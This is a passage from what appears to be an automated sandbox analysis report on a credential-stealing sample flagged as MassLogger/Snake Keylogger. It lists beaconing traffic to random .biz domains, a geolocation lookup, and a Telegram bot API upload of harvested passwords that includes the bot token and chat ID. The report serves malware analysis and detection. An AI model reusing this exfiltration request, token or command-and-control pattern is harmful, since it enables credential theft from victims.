Oct 31, 2024 16:05:28.176331043 CET	784	OUT	Data Raw: 79 a0 8b d7 35 03 d2 ef 04 03 00 00 d9 6b 80 f2 2b 31 26 8d a4 5e 6b 32 b4 08 a1 87 25 c3 8c 9b 62 d5 e8 da 56 f4 9f 18 22 61 da 7f 7b 7b bb 13 fb 54 1d ec ba 45 6c 29 43 45 37 78 d9 52 d5 66 1d 58 3f 65 2f 33 8d 13 47 ee c8 85 25 0a fe 77 c1 b3 Data Ascii: y5k+1&^k2%bV"a{{TEl)CE7xRfX?e/3G%wwIavkl1+9_9r@_6{TfKy+EMuBnFqv"(p#$Ypfh*Ocw`P2RSC(-p}v\|#?\O/[iN,
Oct 31, 2024 16:05:29.589730978 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:29 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=056e77c7dc024c9b1d1c97b0267a8e6a\|173.254.250.77\|1730387129\|1730387129\|0\|1\|0; path=/; domain=.mnjmhp.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.22	49304	18.208.156.248	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:29.610045910 CET	351	OUT	POST /ailfwe HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: opowhhece.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:05:29.610057116 CET	784	OUT	Data Raw: 45 a5 cb 77 48 c8 19 a5 04 03 00 00 ec 81 e7 21 0f 90 e9 8c 91 52 f0 02 82 5c 8c 7a 71 7b 06 4c 0f d6 76 43 4b a9 44 0c 04 d4 57 22 e6 e3 17 45 95 2b 7c 76 99 1e 7e fe bf d3 9a dd 72 58 7d 20 73 83 87 d3 a7 08 0e 9c ef 61 4c af fc 58 21 2f ea d2 Data Ascii: EwH!R\zq{LvCKDW"E+\|v~rX} saLX!/&] UuoFU,zex6Y\|-A+_rmfC8 `\:J@kzuAMk?jrO_J3cQ"qD:!A?u\|}'&
Oct 31, 2024 16:05:30.271208048 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=4fd2a25272515611b7aab3746aee319a\|173.254.250.77\|1730387130\|1730387130\|0\|1\|0; path=/; domain=.opowhhece.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.22	49305	13.251.16.150	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:30.302875042 CET	348	OUT	POST /ailfwe HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: jdhhbs.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:05:30.302898884 CET	784	OUT	Data Raw: 45 a5 cb 77 48 c8 19 a5 04 03 00 00 ec 81 e7 21 0f 90 e9 8c 91 52 f0 02 82 5c 8c 7a 71 7b 06 4c 0f d6 76 43 4b a9 44 0c 04 d4 57 22 e6 e3 17 45 95 2b 7c 76 99 1e 7e fe bf d3 9a dd 72 58 7d 20 73 83 87 d3 a7 08 0e 9c ef 61 4c af fc 58 21 2f ea d2 Data Ascii: EwH!R\zq{LvCKDW"E+\|v~rX} saLX!/&] UuoFU,zex6Y\|-A+_rmfC8 `\:J@kzuAMk?jrO_J3cQ"qD:!A?u\|}'&
Oct 31, 2024 16:05:31.726428986 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=84bd9b718992a606888c84d82e03b711\|173.254.250.77\|1730387131\|1730387131\|0\|1\|0; path=/; domain=.jdhhbs.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.22	49306	18.246.231.120	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:30.515602112 CET	344	OUT	POST /ggy HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: pectx.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:05:30.515647888 CET	850	OUT	Data Raw: d2 9e 45 1f 4f f3 19 65 46 03 00 00 e2 0d 2e 54 3d 3f 45 e5 58 35 0f d5 41 67 72 8d c1 44 00 ec 67 04 38 83 4a fe 31 fc 3c 18 5b 46 b4 d1 5b 3b f3 03 2f 10 dc a1 ab da 2e cf d3 16 66 49 b1 b5 17 ea ac aa ed ea d0 3f 2b f1 23 e8 ca e5 e1 3d 46 b0 Data Ascii: EOeF.T=?EX5AgrDg8J1<[F[;/.fI?+#=FIWS>H7RXODq$V6iWkMT,B0~\KdZz&lq_$h1G:s75yoCkGG<HMBB[1JC,^8(*2
Oct 31, 2024 16:05:31.354913950 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=d62e7fa2d391d1d40d836cf17b1e4afd\|173.254.250.77\|1730387131\|1730387131\|0\|1\|0; path=/; domain=.pectx.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.22	49307	18.208.156.248	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:31.369847059 CET	347	OUT	POST /ggy HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: zyiexezl.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:05:31.369939089 CET	850	OUT	Data Raw: d2 9e 45 1f 4f f3 19 65 46 03 00 00 e2 0d 2e 54 3d 3f 45 e5 58 35 0f d5 41 67 72 8d c1 44 00 ec 67 04 38 83 4a fe 31 fc 3c 18 5b 46 b4 d1 5b 3b f3 03 2f 10 dc a1 ab da 2e cf d3 16 66 49 b1 b5 17 ea ac aa ed ea d0 3f 2b f1 23 e8 ca e5 e1 3d 46 b0 Data Ascii: EOeF.T=?EX5AgrDg8J1<[F[;/.fI?+#=FIWS>H7RXODq$V6iWkMT,B0~\KdZz&lq_$h1G:s75yoCkGG<HMBB[1JC,^8(*2
Oct 31, 2024 16:05:32.042941093 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=cb12666f9d623e8a5c0012bfaa15bd08\|173.254.250.77\|1730387131\|1730387131\|0\|1\|0; path=/; domain=.zyiexezl.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.22	49308	34.246.200.160	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:31.740777016 CET	351	OUT	POST /ailfwe HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: mgmsclkyu.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:05:31.740777016 CET	784	OUT	Data Raw: 45 a5 cb 77 48 c8 19 a5 04 03 00 00 ec 81 e7 21 0f 90 e9 8c 91 52 f0 02 82 5c 8c 7a 71 7b 06 4c 0f d6 76 43 4b a9 44 0c 04 d4 57 22 e6 e3 17 45 95 2b 7c 76 99 1e 7e fe bf d3 9a dd 72 58 7d 20 73 83 87 d3 a7 08 0e 9c ef 61 4c af fc 58 21 2f ea d2 Data Ascii: EwH!R\zq{LvCKDW"E+\|v~rX} saLX!/&] UuoFU,zex6Y\|-A+_rmfC8 `\:J@kzuAMk?jrO_J3cQ"qD:!A?u\|}'&
Oct 31, 2024 16:05:32.723366976 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=d84d7bbbfcf7d82b46f34fc9504f0db5\|173.254.250.77\|1730387132\|1730387132\|0\|1\|0; path=/; domain=.mgmsclkyu.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.22	49309	44.221.84.105	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:32.056704998 CET	345	OUT	POST /ggy HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: banwyw.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:05:32.056705952 CET	850	OUT	Data Raw: d2 9e 45 1f 4f f3 19 65 46 03 00 00 e2 0d 2e 54 3d 3f 45 e5 58 35 0f d5 41 67 72 8d c1 44 00 ec 67 04 38 83 4a fe 31 fc 3c 18 5b 46 b4 d1 5b 3b f3 03 2f 10 dc a1 ab da 2e cf d3 16 66 49 b1 b5 17 ea ac aa ed ea d0 3f 2b f1 23 e8 ca e5 e1 3d 46 b0 Data Ascii: EOeF.T=?EX5AgrDg8J1<[F[;/.fI?+#=FIWS>H7RXODq$V6iWkMT,B0~\KdZz&lq_$h1G:s75yoCkGG<HMBB[1JC,^8(*2
Oct 31, 2024 16:05:32.727210999 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=6f44aa8ed1ee5d51aac554257f4b0d5d\|173.254.250.77\|1730387132\|1730387132\|0\|1\|0; path=/; domain=.banwyw.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 31, 2024 16:05:33.010992050 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=6f44aa8ed1ee5d51aac554257f4b0d5d\|173.254.250.77\|1730387132\|1730387132\|0\|1\|0; path=/; domain=.banwyw.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49180	188.114.97.3	443	3736	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 15:03:49 UTC	87	OUT	GET /xml/173.254.250.77 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-31 15:03:50 UTC	1218	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 15:03:50 GMT Content-Type: text/xml Content-Length: 359 Connection: close x-amzn-requestid: c513f531-357c-4a16-aa65-2a7ce9db2710 x-amzn-trace-id: Root=1-67233ef5-6f781100758ed25925d14b1f;Parent=79f937a2f15fcb5d;Sampled=0;Lineage=1:fc9e8231:0 x-cache: Miss from cloudfront via: 1.1 6731676908e2f9fd15d695e4cfc5dc0c.cloudfront.net (CloudFront) x-amz-cf-pop: DFW57-P5 x-amz-cf-id: vn-E2QddJo8J5bH3iv-sVGfh-RHrFUSg7-ibKlijEvDnaoVwc3aSew== Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 23905 Last-Modified: Thu, 31 Oct 2024 08:25:25 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FO99%2BTcC9CM5sPvQtwcsrCcH7EOkFExikHH2daAV6aZ1HWO%2FAXpqJ3K5iWOZ1rrjZrb85eogzvocU6k%2FPMX5njXepZVcXVDfRD2f6y8ROv1pQBYpqPewY54UGHnd9sAUklJz0tDJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db488b9afe03ab9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1115&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=2460492&cwnd=251&unsent_bytes=0&cid=0b81f362d3fba516&ts=2029&x=0"
2024-10-31 15:03:50 UTC	151	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e Data Ascii: <Response><IP>173.254.250.77</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>
2024-10-31 15:03:50 UTC	208	IN	Data Raw: 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 31 2e 30 30 36 35 3c 2f 4c 61 74 69 74 75 64 65 3e 0a 09 3c 4c 6f 6e 67 69 74 75 64 65 3e 2d 39 37 2e 38 34 30 36 3c 2f 4c 6f 6e 67 69 74 75 64 65 3e 0a 09 3c 4d 65 74 72 6f 43 6f 64 65 3e 36 32 35 3c 2f 4d 65 74 72 6f 43 6f 64 65 3e 0a 3c 2f 52 65 73 70 6f 6e 73 65 3e 0a Data Ascii: Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>31.0065</Latitude><Longitude>-97.8406</Longitude><MetroCode>625</MetroCode></Response>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49182	149.154.167.220	443	3736	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 15:03:57 UTC	297	OUT	POST /bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/sendDocument?chat_id=5839829477&caption=user%20/%20Passwords%20/%20173.254.250.77 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dcf99bda54029c Host: api.telegram.org Content-Length: 1095 Connection: Keep-Alive
2024-10-31 15:03:57 UTC	1095	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 63 66 39 39 62 64 61 35 34 30 32 39 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dcf99bda54029cContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-10-31 15:03:59 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 31 Oct 2024 15:03:59 GMT Content-Type: application/json Content-Length: 557 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-10-31 15:03:59 UTC	557	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 35 37 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 30 38 36 36 32 37 37 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 4f 56 41 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6b 75 6c 6c 73 6e 6f 76 61 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 35 38 33 39 38 32 39 34 37 37 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 6b 77 61 6e 64 61 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 53 6b 75 6c 6c 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 42 69 67 34 6d 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 30 33 38 37 30 33 39 2c 22 64 6f 63 75 6d Data Ascii: {"ok":true,"result":{"message_id":1577,"from":{"id":7708662779,"is_bot":true,"first_name":"NOVA","username":"Skullsnovabot"},"chat":{"id":5839829477,"first_name":"Makwanda","last_name":"Skulls","username":"Big4m","type":"private"},"date":1730387039,"docum

Target ID:	0
Start time:	11:03:21
Start date:	31/10/2024
Path:	C:\Users\user\Desktop\Y2EM7suNV5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Y2EM7suNV5.exe"
Imagebase:	0x400000
File size:	1'723'392 bytes
MD5 hash:	0F2AC23E89C953B8C3D95BC75D76B9E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:03:21
Start date:	31/10/2024
Path:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe"
Imagebase:	0x400000
File size:	1'396'736 bytes
MD5 hash:	15B606B644D221A802F3BA61E94117C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	11:03:24
Start date:	31/10/2024
Path:	C:\Windows\System32\alg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\alg.exe
Imagebase:	0x100000000
File size:	1'315'328 bytes
MD5 hash:	78357F4A2EE56E2115B70E83FD318F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	11:03:27
Start date:	31/10/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe
Imagebase:	0x140000000
File size:	1'275'392 bytes
MD5 hash:	E56ED62B84AF74C3CC2BFBBFF2DECA1B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	11:03:41
Start date:	31/10/2024
Path:	C:\Windows\ehome\ehrecvr.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\ehome\ehRecvr.exe
Imagebase:	0x140000000
File size:	1'276'416 bytes
MD5 hash:	C6F20688FDD72D81EF9949078A447956
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	11:03:42
Start date:	31/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Y2EM7suNV5.exe"
Imagebase:	0x980000
File size:	45'248 bytes
MD5 hash:	19855C0DC5BEC9FDF925307C57F9F5FC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 0000000C.00000002.624330233.0000000000092000.00000020.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.624330233.0000000000092000.00000020.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000C.00000002.624330233.0000000000092000.00000020.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000C.00000002.624330233.0000000000092000.00000020.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.626414003.00000000023A8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000C.00000002.626414003.00000000023A8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	11:03:42
Start date:	31/10/2024
Path:	C:\Windows\ehome\ehsched.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\ehome\ehsched.exe
Imagebase:	0x140000000
File size:	1'363'456 bytes
MD5 hash:	D368E1F7850AA6D566AF182533561B7B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	11:03:46
Start date:	31/10/2024
Path:	C:\Windows\System32\ieetwcollector.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\IEEtwCollector.exe /V
Imagebase:	0x140000000
File size:	1'350'656 bytes
MD5 hash:	476DF395BDFA6AD8B4669F4FB9DAEAF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	11:03:46
Start date:	31/10/2024
Path:	C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
Imagebase:	0x400000
File size:	1'399'808 bytes
MD5 hash:	9779F284BC74A9DC36AEA1BB73E099DA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	11:03:49
Start date:	31/10/2024
Path:	C:\Windows\System32\msdtc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\msdtc.exe
Imagebase:	0x140000000
File size:	1'377'792 bytes
MD5 hash:	B53F558EDC6CA13C93B7AC3C93422AB9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	11:03:49
Start date:	31/10/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x100000000
File size:	1'363'456 bytes
MD5 hash:	7C89926A5DB6DE37F65340F4BF155552
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	11:03:52
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\perfhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWow64\perfhost.exe
Imagebase:	0x1000000
File size:	1'256'960 bytes
MD5 hash:	A5C90106638927AA9010BB80237CFA6E
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Analysis Process: Locator.exePID: 2052, Parent PID: 404

General

Target ID:	20
Start time:	11:03:52
Start date:	31/10/2024
Path:	C:\Windows\System32\Locator.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\locator.exe
Imagebase:	0x100000000
File size:	1'246'720 bytes
MD5 hash:	52E7BE841BAE6B7BD0895DD6C74DF1A6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Analysis Process: snmptrap.exePID: 2588, Parent PID: 404

General

Target ID:	21
Start time:	11:03:53
Start date:	31/10/2024
Path:	C:\Windows\System32\snmptrap.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\snmptrap.exe
Imagebase:	0x100000000
File size:	1'250'816 bytes
MD5 hash:	A49EA66E364E0A22B0B157F826B918B2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	11:03:56
